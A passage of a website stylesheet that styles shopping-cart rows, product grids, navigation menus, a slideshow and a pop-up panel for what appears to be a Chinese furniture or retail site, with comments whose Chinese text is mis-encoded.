text-overflow: ellipsis;
white-space: nowrap
}
.car_body .car_content .list_wrapper li .add_redc {
margin-left: 150px
}
.car_body .car_content .list_wrapper li .add_redc * {
display: inline-block;
width: 25px;
height: 25px;
line-height: 25px;
text-align: center;
border: 1px solid #000;
color: #333;
font-size: 14px;
font-family: buenosaires
}
.car_body .car_content .list_wrapper li .add_redc span {
border-left: 0;
border-right: 0;
width: 36px
}
.car_body .car_content .list_wrapper li .mdf_del {
float: right;
margin-right: 90px
}
.car_body .car_content .list_wrapper li .mdf_del a {
font-size: 16px;
letter-spacing: 1px;
color: #333;
line-height: 15px;
display: inline-block
}
.car_body .car_content .list_wrapper li .mdf_del a:hover {
font-weight: 700
}
.car_sumbit {
width: 100%;
height: 52px;
line-height: 52px;
padding: 20px 0;
background: #fff;
border-top: 1px solid #d2d2d2
}
.car_sumbit .checked {
width: 18px;
height: 18px;
border: 1px solid #a0a0a0;
cursor: pointer;
margin: 17px 25px 0 15px;
background: no-repeat center center
}
.car_sumbit .ischecked {
width: 20px;
height: 20px;
border: 0;
background-image: url(../images/gou.png)
}
.car_sumbit .car_bot_l span {
font-size: 18px;
color: #000;
letter-spacing: 2px
}
.car_sumbit .car_bot_l span em {
font-weight: 400
}
.car_sumbit .car_bot_l span.c,.car_sumbit .car_bot_l span.r {
color: #a0a0a0
}
.car_sumbit .car_bot_l span.c {
padding: 0 15px
}
.car_sumbit .car_bot_r a {
width: 243px;
height: 63px;
text-align: center;
line-height: 63px;
color: #fff;
background: #000;
font-weight: 700;
border-radius: 2px;
display: inline-block;
margin: -5px 0 0 0;
font-size: 18px;
letter-spacing: 2px
}
.car_sumbit .car_bot_r a:hover {
background: #313131
}
.car_blank {
display: none;
margin-top: 50px;
padding: 150px 0
}
.car_blank_wrapper {
text-align: center
}
.car_blank_wrapper .car_img {
margin: 40px auto
}
.car_blank_wrapper {
font-size: 18px;
color: #c4c3c3;
letter-spacing: 2px
}
.pro_page_bot {
display: none
}
.mc-body>div,.mc-body>p {
width: 880px;
margin: 0 auto
}
.mc-body>.news-style {
letter-spacing: 1px;
text-align: justify;
width: 1112px;
margin: 0 auto
}
.border-bot {
border-bottom: 1px solid #ccc;
margin-bottom: 60px
}
.mc-des {
font-weight: 600;
margin-bottom: 35px;
line-height: 30px;
padding: 6px 15px;
background: #e1e1e1
}
.w-mc .head-img img {
width: 100%;
height: auto
}
.head-text {
line-height: 26px;
font-size: 20px;
padding: 20px 0 55px
}
.article-desc {
padding-bottom: 50px
}
/* ������ҳ������ʽ */
.new .anli-add ul,.product-box .box-img ul {
overflow: hidden;
}
.new .anli-add ul li,.product-box .box-img ul li {
float: left;
width: 32%;
margin-right: 2%;
text-align: center
}
.new .anli-add ul li:last-child,.product-box .box-img ul li:last-child {
margin-right: 0
}
.new .anli-add ul li img,.product-box .box-img ul li img {
width: 100%;
height: auto
}
.new .anli-add .anli-title,.article-links .article-title {
font-size: 22px;
padding: 20px 0
}
.new .anli-add ul li {
box-sizing: border-box;
height: auto;
}
.new .anli-add::before {
display: block;
margin: 0 auto;
border-top: 1px solid #ccc;
width: 880px;
padding-top: 50px;
margin-top: 50px
}
.new .anli-add::after {
margin-top: 50px;
margin-right: 0;
display: block;
margin: 0 auto;
border-bottom: 1px solid #ccc;
padding-bottom: 50px;
}
/* �����°�����ʽ */
.anli-add ul,.product-box .box-img ul {
overflow: hidden
}
.anli-add ul li,.product-box .box-img ul li {
float: left;
width: 32%;
margin-right: 2%;
text-align: center
}
.anli-add ul li{
}
.anli-add::before {
display: block;
margin: 0 auto;
width: 880px;
padding-top: 50px;
margin-top: 50px
}
.anli-add {
z-index:1;
width: 100%;
background: #f2f2f2;
left: 0;
margin-top: 1%;
}
.article-links{
height: auto;
}
.anli-add::after {
margin-top: 50px;
margin-right: 0;
display: block;
margin: 0 auto;
padding-bottom: 50px;
}
.anli-add ul li:last-child,.product-box .box-img ul li:last-child {
margin-right: 0
}
.anli-add ul li img,.product-box .box-img ul li img {
width: 100%;
height: auto
}
.anli-add .anli-title,.article-links .article-title {
font-size: 22px;
padding: 20px 0
}
.anli-add ul li {
box-sizing: border-box;
border: 1px solid #ccc;
height: 335px;
float: left;
width: 25%;
margin-right: -10%;
margin-left: 11%;
text-align: center
}
.product-box-new::after {
margin-bottom: 50px !important;
content: '';
display: block;
margin: auto;
width: 880px;
}
.product-box-new .box-img ul li {
width: 23%;
margin-right: 1%;
font-weight: 600 !important;
}
.product-box-new .box-img ul li:nth-child(5) {
clear: both;
}
.product-box-new .box-img ul li:nth-of-type(4n) {
margin-right: 0
}
.product-box-new .box-img ul li:last-child {
margin-right: 0
}
.product-box-new .box-img ul li img {
height: 160px;
margin-bottom: 10px
}
.product-box .box-text {
font-size: 16px;
line-height: 26px;
padding: 55px 0
}
.product-box .box-btn {
text-align: center;
padding-bottom: 85px
}
.product-box .box-btn a {
display: inline-block;
color: #000;
border-top: 1px solid #fcc9c9;
border-bottom: 1px solid #fcc9c9;
width: 300px;
height: 45px;
line-height: 45px;
font-size: 16px
}
.product-box .box-btn a:hover {
background: #fcf0ea;
border-color: #fcf0ea
}
.article-links .article-item li a {
height: 30px;
line-height: 30px;
color: #004cff;
text-decoration: underline
}
.main-content-new .mc-body .box-btn {
text-align: center
}
.main-content-new .mc-body .box-btn a {
color: #000
}
/* �����°���ͼƬ��ʽ */
.new .main-content-new .mc-body .anli-img p {
text-align: justify;
width: 285px;
}
.new .main-content-new .mc-body .anli-img p.anli-img-title {
font-size: 18px;
font-weight: 700;
}
.new .main-content-new .mc-body .anli-img p.anli-img-title a{
color: #313131;
font-size: 15px;
font-weight: 700;
}
.new .main-content-new .mc-body .anli-img p.anli-img-desc {
line-height: 20px !important;
}
.new .main-content-new .mc-body .anli-img p.anli-img-desc a {
font-size: 13px;
font-weight: 400;
color: #a0a0a0;
}
.new .main-content-new .mc-body .anli-img img {
margin-top: 36px
}
.new .main-content-new .mc-body .anli-img img {
margin-bottom: 10px
}
.new .main-content-new .mc-body .anli-img a {
color: #000
}
/* �����°���ͼƬ��ʽ */
.main-content-new .mc-body .anli-img p {
width: 100%;
margin: 0 auto
}
.main-content-new .mc-body .anli-img p.anli-img-title {
font-weight: 700;
margin-bottom: 8px
}
.main-content-new .mc-body .anli-img p.anli-img-title a{
font-size: 14px;
}
.main-content-new .mc-body .anli-img p.anli-img-desc {
line-height: 24px;
text-align: justify
}
.main-content-new .mc-body .anli-img p.anli-img-desc a{
font-size: 14px;
}
.main-content-new .mc-body .anli-img img {
max-width: 230px;
max-height: 60px;
width: auto;
margin-top: 36px
}
.main-content-new .mc-body .anli-img a {
color: #000
}
.main-content-new .mc-body .anli-title p {
text-align: center;
font-size: 28px;
color: #333;
padding-bottom: 20px
}
.main-content-new .article-title p {
color: #333;
font-weight: 600;
width: 67%;
z-index: 2;
}
.article-title-button {
color: #666666;
font-size: 14px;
float: right;
margin-top: -10px;
background-color: #f2f2f2;
display: none;
}
.article-title-button:hover {
color: #f78181;
}
.article-title-button-img {
width: 16px ;
height: 14px ;
}
.main-content-new .article-item {
display:flex;
justify-content:center;
z-index: 2;
}
.main-content-new .mc-body .article-item li {
height: 35px;
display: block;
overflow:hidden;
text-overflow:ellipsis;
white-space:nowrap;
float: left;
width: 31.2%;
margin-right: 2%;
text-align: left
}
.main-content-new .mc-body .article-item li:last-child {
margin-right: 0
}
.main-content-new .mc-body .news-title p {
text-align: center;
font-size: 28px;
color: #333;
padding-bottom: 50px
}
.main-content-new .mc-body .news-sub-title h3 {
text-align: center;
font-size: 24px;
color: #333;
padding-bottom: 50px;
margin-top: 20px;
font-weight: 400
}
.main-content-new .mc-context .mc-body .box-img li a {
color: #333;
font-size: 14px;
}
.main-content-new .mc-context .mc-body a,.main-content-new .mc-context .mc-body div,.main-content-new .mc-context .mc-body p,.main-content-new .mc-context .mc-body span {
font-size: 16px
}
.main-content-new .mc-context .mc-body h2 a {
font-size: 24px!important
}
.vitra-words-page .contact-img-zt {
margin-top: 30px
}
.vitra-words-page .contact-img-zt ul {
overflow: hidden
}
.vitra-words-page .contact-img-zt ul li {
float: left;
width: 32%;
margin-right: 2%
}
.vitra-words-page .contact-img-zt ul li:last-child {
margin-right: 0
}
.vitra-words-page .contact-img-zt ul li img {
width: 100%;
height: auto;
border: none
}
.vitra-words-page .contact-img-zt ul li p {
text-align: center;
font-size: 16px;
padding-top: 5px
}
.vitra-words-page .contact-zt-location {
margin-top: 50px
}
.vitra-words-page .kf-online {
border: 1px solid #f25807;
padding: 5px 30px;
font-size: 14px;
color: #f25807
}
.vitra-words-page .kf-online:hover {
background: #f25807;
color: #fff
}
.contact-friends-img {
width: 80%;
margin: 0 auto
}
.contact-friends-img img {
width: 100%;
height: auto
}
.vitra-words-page .kefu {
padding-bottom: 50px
}
.vitra-words-page .body p .chejian-title {
margin-top: 20px;
display: inline-block
}
.mc-body .border-bot {
border-bottom: 0;
margin-bottom: 0
}
.mc-body .product-box-new::before {
content: '';
display: block;
margin: 0 auto;
width: 880px;
padding-top: 50px;
}
.mc-body .news-title h2 {
padding-bottom: 30px;
margin-top: -20px;
}
.cc-index-service {
padding: 50px 0
}
.cc-index-service .wrapper {
background: #f5f5f6
}
.cc-index-service img {
display: inline;
padding-top: 5px
}
.cc-index-service .wrapper ul.w-1228 {
overflow: hidden;
padding: 50px 0;
margin-top: 20px
}
.cc-index-service .left,.cc-index-service .middle,.cc-index-service .right {
float: left;
width: 33.3%
}
.cc-index-service .middle,.cc-index-service .right {
padding-left: 5px;
box-sizing: border-box
}
.cc-index-service .middle .text,.cc-index-service .right .text {
overflow: hidden;
padding-left: 10px
}
.cc-index-service .middle .dt,.cc-index-service .right .dt {
overflow: hidden;
padding-left: 10px
}
.cc-index-service .left div {
width: 80%
}
.cc-index-service .dl {
width: 90%;
padding: 10px 10px;
transition: all .3s ease-in-out;
box-sizing: border-box
}
.cc-index-service .dl:hover {
background: #fff;
box-shadow: 0 0 8px 0 rgba(0,0,0,.15)
}
.cc-index-service .text {
font-size: 12px;
color: #9b9ea0;
line-height: 18px;
margin: 8px 0 10px
}
.cc-index-service .dt {
font-size: 14px;
color: #373d41;
line-height: 19px
}
.cc-index-service .dt a {
font-size: 14px
}
.cc-index-service .left .know-more {
width: 96px;
height: 28px;
line-height: 28px;
border: 1px solid #373d41;
color: #373d41;
text-align: center;
margin-top: 15px
}
.cc-index-service .know-more a {
display: block;
font-size: 12px
}
.main-content-new .mc-body div.article-box {
text-align: left;
margin-bottom: 40px
}
.main-content-new .mc-body div.article-box li {
display: inline-block;
line-height: 25px;
padding: 0 8px;
background: #eee;
border: 1px solid #ccc;
border-radius: 2px;
letter-spacing: 1px;
font-size: 13px;
color: #000
}
.main-content-new .mc-body div.article-box li a {
font-size: 13px!important;
color: #000
}
.fangan-inner .title {
width: 350px;
height: 60px;
margin: 30px auto;
background: #333;
font-size: 24px;
color: #fff;
text-align: center;
line-height: 60px;
}
.fangan-inner .des {
text-align: center;
font-size: 16px;
line-height: 30px;
}
.fangan-inner .box {
width: 1035px;
height: 465px;
background: #f0f0f0;
border-radius: 5px;
padding-top: 15px;
margin: 25px auto;
}
.fangan-inner .box-inner {
width: 980px;
height: 435px;
padding: 0 15px 15px;
border: 1px solid #fff;
border-radius: 5px;
margin: 0 auto;
text-align: center;
}
.fangan-inner .plan {
font-size: 22px;
color: #333;
line-height: 30px;
margin: 30px auto 20px;
}
.fangan-inner .box-inner img {
margin-top: 30px;
}
.fangan-inner .plan img {
margin: 0 15px 0 0;
}
.fangan-inner .des-box {
margin-bottom: 15px;
background: url(../images/plan.jpg) repeat;
width: 100%;
min-height: 400px;
padding-bottom: 30px;
}
.fangan-inner .des-box2 .w2 {
width: 800px;
}
.fangan-inner .des-box li {
width: 345px;
float: left;
margin-right: 95px;
}
.fangan-inner .des-box2 li:nth-child(1) {
margin-bottom: 30px;
}
.fangan-inner .des-box2 li:nth-child(2) {
margin-bottom: 30px;
}
.fangan-inner .des-box li:last-child {
margin-right: 0;
}
.fangan-inner .des-box2 li:nth-child(2n) {
margin-right: 0;
}
.fangan-inner .des-box a {
width: 100%;
height: 236px;
border: 1px solid #eee;
display: block;
overflow: hidden;
margin-bottom: 25px;
}
.fangan-inner a img {
width: 100%;
height: 100%;
transition: all 0.4s ease-out;
-webkit-transition: all 0.4s ease-out;
-moz-transition: all 0.4s ease-out;
}
.fangan-inner a:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05);
}
.fangan-inner .des-box p {
font-size: 16px;
color: #333;
margin-left: 23px;
line-height: 30px;
}
.fangan-inner .des-box span {
color: #666;
display: inline-block;
width: 80%;
padding-right: 4%;
}
.wenxintishi {
width: 133px;
height: 41px;
border: 1px solid #626262;
font-size: 22px;
color: #333;
text-align: center;
line-height: 41px;
margin: 45px auto 25px auto;
border-radius: 7px;
}
.wenxintishi-list {
background: url(../images/wenxin-bg.jpg) no-repeat center;
width: 415px;
margin: 0 auto;
padding: 40px 75px;
font-size: 16px;
line-height: 30px;
height: 140px;
}
.fangan-inner .see-more {
width: 280px;
height: 63px;
border-radius: 30px;
border: 1px solid #eee;
box-shadow: 0 0 25px #ddd;
display: block;
margin: 50px auto;
text-align: center;
line-height: 63px;
font-size: 18px;
}
.list-fangan {
margin-top: 45px;
}
.list-fangan .list-fa {
width: 392px;
float: left;
text-align: center;
margin: 0 25px 15px 0;
}
.list-fangan .list-fa:nth-of-type(3n) {
margin-right: 0;
}
.list-fangan .list-fa a {
display: block;
width: 96%;
padding: 2%;
}
.sanji10{
display: none
}
.list-fangan .list-fa img {
width: 100%;
}
.list-fangan .list-fa .tit {
border: 1px solid #333;
height: 50px;
font-size: 16px;
line-height: 50px;
text-align: center;
color: #333;
margin: 30px auto;
display: inline-block;
padding: 0 30px;
width: initial;
transition: all 0.4s ease-out;
-moz-transition: all 0.4s ease-out;
-webkit-transition: all 0.4s ease-out;
}
.list-fangan .list-fa:hover .tit {
color: #fff;
background: #333;
}
.list-fangan .list-fa img:hover {
box-shadow: 0 5px 15px 5px #B3BBC3;
transform: translate(0,-2px);
-moz-transform: translate(0,-2px);
-webkit-transform: translate(0,-2px);
transition: all .3s;
-moz-transition: all .3s;
-webkit-transition: all .3s;
}
.texture-color{
border-top:1px solid #333;
}
.texture-print{
border-top:1px solid #333;
margin-top:2px;
margin-top: 1%;
}
.texture-color .texture-print ul li{
text-align: center;
float: left;
width: 11.5%;
margin-right: 1%
}
.texture-color .texture-print ul li img{
border-radius:10px;
width: 90%;
}
.texture-color .texture-print ul{
overflow: hidden;
margin-left:1%;
margin-top:2%;
}
.texture-print .texture-img{
height: 120px;
border-bottom:1px solid #333;
margin-bottom:10px;
}
.design-originality .design-print ul li{
float: left;
width: 32%;
margin-right: 1.3%
}
.design-originality .design-print ul li img{
width: 100%;
}
.design-originality .design-print ul{
overflow: hidden;
margin-left:1%;
}
.configuration-print{
overflow: hidden;
}
.configuration .configuration-print ul{
text-align: center;
}
.configuration-print ul li{
float: left; /* ���ǹؼ��У�ʹ�������б�Ԫ��ȫ���� */
width: 11.5%;
margin-left: 1%;
}
.configuration-print ul li p .img {
width: 100%;
display: block; /* ���ǹؼ��У�������ͼƬ��ɿ鼶��ģ�� */
}
.configuration-print ul li p{
text-align: center;
}
.custom .custom-case ul{
overflow: hidden;
}
.custom-case ul li{
box-sizing: border-box;
float: left;
width: 31%;
margin-right: 2%;
text-align: center
}
.custom-case ul li img{
max-width: 80%;
max-height: 15%;
width: auto;
margin-top: 36px
}
.custom-case ul li p{
text-align: center;
width: 285px;
margin: 0 auto
}
.custom-case-title{
font-weight:bold;
}
.texture-explain {
width: 1112px;
margin: 0 auto;
margin-top:3%;
}
.explain{
border-top:1px solid #333;
margin-top:1%;
}
.text-description{
width: 880px;
margin: 0 auto;
margin-top:2%;
}
.merchandise-news-title{
font-size: 28px;
text-align: center;
margin: 70px auto;
color: #333;
padding-top: 100px;
border-top: 1px solid #ccc
}
.design-originality-title{
font-size: 28px;
text-align: center;
margin: 70px auto;
color: #333;
padding-top: 100px;
border-top: 1px solid #ccc
}
.configuration-title{
font-size: 28px;
text-align: center;
margin: 70px auto;
color: #333;
padding-top: 100px;
border-top: 1px solid #ccc
}
.custom-title{
font-size: 28px;
text-align: center;
margin: 70px auto;
color: #333;
padding-top: 100px;
border-top: 1px solid #ccc
}
.product-title{
font-size: 28px;
text-align: center;
/*margin: 70px auto;*/
color: #333;
padding-top: 100px;
/*border-top: 1px solid #ccc*/
}
.auxiliary-title{
font-size: 28px;
text-align: center;
margin: 70px auto;
color: #333;
padding-top: 100px;
border-top: 1px solid #ccc
}
.texture-color-title{
font-size: 28px;
text-align: center;
margin: 100px auto;
color: #333;
}
.like-product{
overflow: hidden;
}
.product .like-product ul{
text-align: center;
}
.like-product ul li{
float: left; /* ���ǹؼ��У�ʹ�������б�Ԫ��ȫ���� */
width: 24%;
margin-left: 1%;
}
.like-product ul li a .img {
width: 100%;
display: block; /* ���ǹؼ��У�������ͼƬ��ɿ鼶��ģ�� */
}
.like-product ul li a{
text-align: center;
}
.auxiliary-product{
overflow: hidden;
}
.auxiliary .auxiliary-product ul{
text-align: center;
}
.auxiliary-product ul li{
float: left; /* ���ǹؼ��У�ʹ�������б�Ԫ��ȫ���� */
width: 24%;
margin-left: 1%;
}
.auxiliary-product ul li a .img {
width: 100%;
display: block; /* ���ǹؼ��У�������ͼƬ��ɿ鼶��ģ�� */
}
.auxiliary-product ul li a{
text-align: center;
}
/**
*�Ƽ�������ʽ
*/
.pop-up{
width: 400px;
height: 450px;
position: fixed;
bottom: 0;
z-index:110;
box-shadow: 5px 0px 20px #888888;
}
.head{
width: 400px;
height: 25px;
background:#fa8c16;
border-bottom:1px solid #0C0C0C;
}
.head span{
line-height:25px;
position:absolute;
font-size:14px;
}
.x{
float:right;
border-radius:50%
}
.appbar{
width: 400px;
height: 50px;
background:#e6eaeb;
border-bottom:1px solid #0C0C0C;
}
.appbar ul li{
float:left;
text-decoration:none;
color:#0C0C0C;
}
.appbar ul li a{
padding:0px 10px;
font-size:12px;
}
.picure{
width: 400px;
height: 250px;
background:#e6eaeb;
}
.picure ul li{
display:none;
position:absolute;
}
.picure ul li:first-child{
display:block;
}
.picure ul li a{
display:block;
}
.picure ul li a img{
width: 400px;
height: 250px;
}
.picure ol{
width: 400px;
height: 50px;
background:#e6eaeb;
position:relative;
bottom:-250px;
}
.picure ol li a img{
float: left;
width: 50px;
height: 50px;
cursor:pointer;
}
.arrow span {
width:20px;
height:30px;
background:rgba(0,0,0,0.05);
color:#fff;
position:absolute;
top:45%;
transform:translate(0,-50%);
line-height:30px;
text-align:center;
font-size:20px;
cursor:pointer;
}
.arrow-l{
left:20px;
}
.arrow-r{
right:20px;
}
.more-picure{
width: 400px;
height: 50px;
background:#e6eaeb;
border-bottom:1px solid #0C0C0C;
}
.more-picure a img{
width:44px;
height:50px;
}
.case{
width:400px;
height:73px;
position:relative;
bottom:-50px;
background:#e6eaeb;
}
.case p{
margin-left:10px;
}
.case p a{
color:#0C0C0C;
font-size:12px;
text-decoration:none;
}
.one{
color:#f54545;
font-size:12px;
}
.two{
color:#ff8547;
font-size:12px;
}
.three{
color:#ffac38;
font-size:12px;
}
/**
*�Ƽ�������ʽ����
*/
blockquote,body,button,caption,dd,div,dl,dt,fieldset,figure,form,h1,h2,h3,h4,h5,h6,hr,html,input,legend,li,menu,ol,p,pre,table,td,textarea,th,ul {
margin: 0;
padding: 0
}
address,article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section {
display: block
}
table {
border-collapse: collapse;
border-spacing: 0
}
caption,th {
text-align: left;
font-weight: 400
}
abbr,body,fieldset,html,iframe,img {
border: 0
}
address,cite,dfn,em,var {
font-style: normal
}
i {
font-style: italic
}[hidefocus],summary {
outline: 0
}
li {
list-style: none
}
h1,h2,h3,h4,h5,h6 {
font-size: 100%
}
sub,sup {
font-size: 83%
}
code,kbd,pre,samp {
font-family: inherit
}
q:after,q:before {
content: none
}
textarea {
overflow: auto;
resize: none
}
label,summary {
cursor: default
}
a,button {
cursor: pointer;
border: 0
}
button,img,input,select {
vertical-align: middle;
outline: 0
}
table {
font-size: 12px
}
b,em,h1,h2,h3,h4,h5,h6,strong {
font-weight: 700
}
a,a:hover,ins,s,u {
text-decoration: none
}
body,html {
font: 12px/22px "Microsoft YaHei",\5b8b\4f53,arial;
outline: 0;
color: #666;
background: #fff
}
a {
color: #666
}
.w {
width: 100%;
height: auto;
margin: 0 auto
}
.w2 {
width: 1228px;
margin: 0 auto
}
.w-1228 {
width: 1228px;
margin: 0 auto
}
.fl,.left {
float: left
}
.fr,.right {
float: right
}
.f12 {
font-size: 12px
}
.f13 {
font-size: 13px
}
.f14 {
font-size: 14px
}
.f16 {
font-size: 16px
}
.f18 {
font-size: 18px
}
.f20 {
font-size: 20px
}
.filter {
background: rgba(141,101,31,.6)
}
.oz {
overflow: hidden;
zoom: 1
}
body {
width: 100%;
overflow-x: hidden
}
.phone-show-img {
display: none
}
.input_d_list li {
color: #a9a9a9;
text-decoration: none;
display: block;
padding: 0 15px;
font-size: 12px
}
.input_d_list li:hover {
background: #f7f6f6
}
.input_box {
position: absolute;
height: 100%;
right: 325px;
top: 0
}
.input_box input {
border: 0;
height: 28px;
width: 160px;
padding: 0 15px;
position: absolute;
top: 50%;
margin-top: -14px;
left: 0
}
.input_box input:focus {
outline: 0
}
.input_content {
position: relative;
width: 238px;
height: 100%;
right: 10px
}
.text_content {
color: #fff
}
.input_s_btn {
z-index: 10;
line-height: 28px;
text-align: center;
color: #fff;
position: absolute;
width: 48px;
height: 28px;
background: #ccc;
right: -1px;
top: 50%;
margin-top: -14px;
cursor: pointer;
font-size: 14px
}
.input_r_btn {
cursor: pointer;
width: 20px;
height: 20px;
position: absolute;
top: 50%;
margin-top: -10px;
right: 20px
}
.input_r_btn img {
vertical-align: top
}
.input_s_btn span {
display: block;
background: #fff;
height: 100%
}
.input_s_btn span img {
position: absolute;
left: 14px;
top: 4px
}
.input_d_list {
width: 190px;
position: absolute;
top: 28px;
left: -192px;
border: 1px solid #333;
border-top: 0;
background: #fff;
font-size: 14px;
color: #333;
text-align: left
}
.input_content {
display: none
}
h1 {
display: inline-block;
float: left
}
h2 {
font-size: 24px;
color: #333;
padding-bottom: 10px;
font-weight: 400;
text-align: center
}
.fixmenu {
position: fixed;
top: 0;
left: 0;
z-index: 999;
background: #fff;
width: 100%
}
.menu-top {
width: 100%;
height: 36px;
background: #333
}
.menu-top-inner {
width: 1228px;
margin: 0 auto;
color: #ccc;
line-height: 36px
}
.menu-top-inner a {
color: #ccc
}
.menu-top-inner .welcome {
color: #ccc;
font-size: 12px
}
.menu-top-inner .rexian {
float: left;
margin-right: 40px;
font-size: 12px
}
.cc-index .menu-top-inner a {
color: #ccc;
font-size: 12px;
vertical-align: top
}
.top-menu {
margin-top: 50px;
-webkit-box-shadow: 0 0 15px #aaa;
-moz-box-shadow: 0 0 15px #aaa;
box-shadow: 0 0 15px #aaa
}
.main-menu {
width: 1328px;
margin: 0 auto;
height: 91px;
line-height: 91px
}
.main-menu ul {
float: right
}
.main-menu li {
float: left;
margin: 0 15px 0
}
.main-menu li:last-child {
margin: 0 0 0 30px
}
.main-menu li a {
color: #333;
font-size: 14px;
padding-bottom: 5px;
font-family: '���ź�';
font-weight: 700
}
.main-menu li:hover a {
border-bottom: 2px solid #ffc252
}
.main-menu li:last-child img {
margin-top: 30px;
line-height: 28px;
vertical-align: top
}
.fixmenu3 {
width: 100%;
height: 68px;
background: rgba(51,51,51,.95);
margin-top: 56px
}
.fixmenu3 .w2 {
text-align: center
}
.fixmenu3 li {
padding: 0 25px;
line-height: 68px;
display: inline-block
}
.help-menu li {
padding: 0 20px
}
.fixmenu3 li.on>a {
border-bottom: 2px solid #fff;
padding-bottom: 15px
}
.fixmenu4 li.on>a {
border-bottom: 0;
padding-bottom: 10px;
color: #ffc252
}
.fixmenu3 li.spe>a {
border: 0
}
.fixmenu3 li a {
font-size: 14px;
color: #ccc
}
.fixmenu3 li.last span {
font-size: 14px;
color: #ccc
}
.fixmenu3 li a:hover {
color: #ffc252;
cursor: pointer
}
.fixmenu3 .more-menu {
display: none;
position: absolute;
width: 70px;
background: rgba(51,51,51,.95);
right: -30px;
top: 68px;
padding: 0 15px
}
.fixmenu3 li.last:hover .more-menu {
display: block
}
.fixmenu3 .more-menu a {
border-bottom: 1px solid #666;
display: block;
text-align: center
}
.fixmenu3 .more-menu a:hover {
color: #ffc252
}
.fixmenu3 .more-menu a:last-child {
border-bottom: 0
}
.fixmenu3 li.last {
position: relative
}
.phone-index-menu {
float: right
}
.phone-index-menu ul li:last-child span {
color: #3b200c;
font-size: 16px;
margin-left: 8px;
font-weight: 700;
float: right
}
.fixmenu4 {
background: rgba(51,51,51,1)
}
.fixmenu4 li.spe {
font-weight: 700;
width: 144px;
background: #222;
text-align: center;
position: relative;
line-height: 67px;
padding: 0 25px;
z-index: 9
}
.fixmenu4 li img {
margin-left: 5px
}
.fixmenu4 li .down-menu {
width: 100%;
height: 65px;
background: rgba(51,51,51,.92);
position: absolute;
top: 57px;
left: 0;
display: none;
text-align: center
}
.sanji-menu {
width: 100%;
margin: auto
}
.sanji-menu a {
line-height: 75px;
color: #999;
display: inline-block;
margin-right: 40px
}
.fixmenu4 li .list-fenlei {
display: none
}
.fixmenu4 li .list-fenlei a {
display: block;
height: 68px;
line-height: 68px;
padding-right: 12px
}
.fixmenu2 {
background: #444
}
.top-menu2 {
border-bottom: 0
}
.main-menu-inner {
width: 1228px;
margin: 0 auto;
height: 56px;
line-height: 56px
}
.main-menu-inner ul {
margin-right: 100px
}
.main-menu-inner li {
margin-right: 65px
}
.main-menu-inner li:last-child {
margin-right: 0
}
.main-menu-inner li a {
color: #fff;
font-size: 14px
}
.main-menu-inner li:hover a {
border: 0
}
.main-menu-inner .logo2 {
margin-top: 17px
}
.slideBox {
width: 100%;
position: relative;
overflow: hidden;
margin-top: 141px;
padding-bottom: 45px
}
.slideBox .hd {
position: absolute;
left: 0;
bottom: 0;
z-index: 2;
width: 100%;
text-align: center
}
.slideBox .hd ul li {
cursor: pointer;
background: #ccc;
display: inline-block;
width: 30px;
height: 6px;
margin: 0 12px;
border-radius: 20px
}
.slideBox .hd ul li.on {
background: #333
}
.slideBox .bd {
position: relative;
height: 100%;
z-index: 0
}
.slideBox .bd li {
zoom: 1;
vertical-align: middle
}
.slideBox .bd img {
width: 100%;
display: block;
height: auto
}
.w2 .item {
margin-top: 70px
}
.product-box .slide li {
margin-right: 45px!important
}
.product-box .slide li:last-child {
margin-right: 0!important
}
.item-box .slide,.product-box .slide {
width: 700px;
margin: 7px auto
}
.item-box .slide li,.product-box .slide li {
float: left;
font-size: 14px;
color: #999;
margin-right: 29px;
cursor: pointer
}
.item-box .slide li a,.product-box .slide li a {
color: #999
}
.item-box .slide li:hover a,.product-box .slide li:hover a {
color: #333
}
.item-box .slide li.on,.product-box .slide li.on {
color: #333
}
.item-box .slide li:last-child,.product-box .slide li:last-child {
margin-right: 0
}
.item-box .bd,.product-box .bd {
margin-top: 50px;
padding: 3px
}
.item-box .bd ul {
width: 99%;
padding: .5%
}
.item-box .bd li {
width: 288px;
padding: 0 0 15px 0;
float: left;
border: 1px solid #e8e8e8;
-webkit-box-shadow: 0 0 15px #dedede;
-moz-box-shadow: 0 0 15px #dedede;
box-shadow: 0 0 15px #dedede;
margin-right: 15px;
text-align: center
}
.item-box .bd li:last-child,.product-box .bd li:last-child {
margin-right: 0
}
.item-box .bd li .img {
width: 285px;
height: 220px;
overflow: hidden;
display: block;
margin-top: 4px;
margin: 0 auto
}
.item-box .bd img,.product-box .bd img {
width: 100%;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.item-box .bd li .title {
text-align: center;
display: block;
padding: 20px 0 17px 0;
font-size: 16px;
color: #333;
margin-bottom: 15px;
background: url(../images/line-bg01.jpg) no-repeat center bottom
}
.item-box .bd li p {
padding: 0 25px;
text-align: justify
}
.item-box .bd li:hover img,.product-box .bd li:hover img {
-webkit-transform: scale(1.1);
-moz-transform: scale(1.1);
-o-transform: scale(1.1);
-ms-transform: scale(1.1);
transform: scale(1.1)
}
.product-box .bd li {
width: 252px;
margin: 0 70px 35px 0;
float: left
}
.product-box .bd li .title {
font-size: 12px;
color: #333;
text-align: center;
display: block;
margin: 15px 0
}
.product-box .bd li:nth-child(4n) {
margin-right: 0
}
.product-box .bd .img {
width: 252px;
overflow: hidden;
display: block;
border: 1px solid #ccc
}
.zhanting {
width: 100%;
background: url(../images/beijingtu.jpg) no-repeat center;
background-attachment: fixed;
padding: 90px 0 100px 0;
overflow: hidden;
margin-bottom: 100px;
background-size: cover
}
.zhanting-inner {
width: 1228px;
height: 505px;
margin: 0 auto;
background: rgba(255,255,255,.9)
}
.zhanting-inner h2 {
text-align: center;
padding-top: 40px;
padding-bottom: 10px;
background: url(../images/line-bg02.jpg) no-repeat center bottom;
line-height: 26px
}
.zhanting-inner .p2 {
text-align: center;
color: #666;
font-size: 14px
}
.zhanting-inner .text {
width: 1048px;
margin: 40px auto 0
}
.zhanting-inner .wenzi {
width: 545px;
background: rgba(119,191,251,.1);
padding: 28px 30px
}
.zhanting-inner .wenzi .title {
font-size: 18px;
color: #000;
margin: 16px 0 13px 0;
padding-bottom: 13px;
background: url(../images/line-bg03.jpg) no-repeat bottom left
}
.zhanting-inner .wenzi .p3 {
line-height: 28px;
font-size: 13px
}
.zhanting-inner .wenzi span {
display: inline-block;
padding: 12px 0;
color: #333;
margin-right: 13px;
font-size: 16px
}
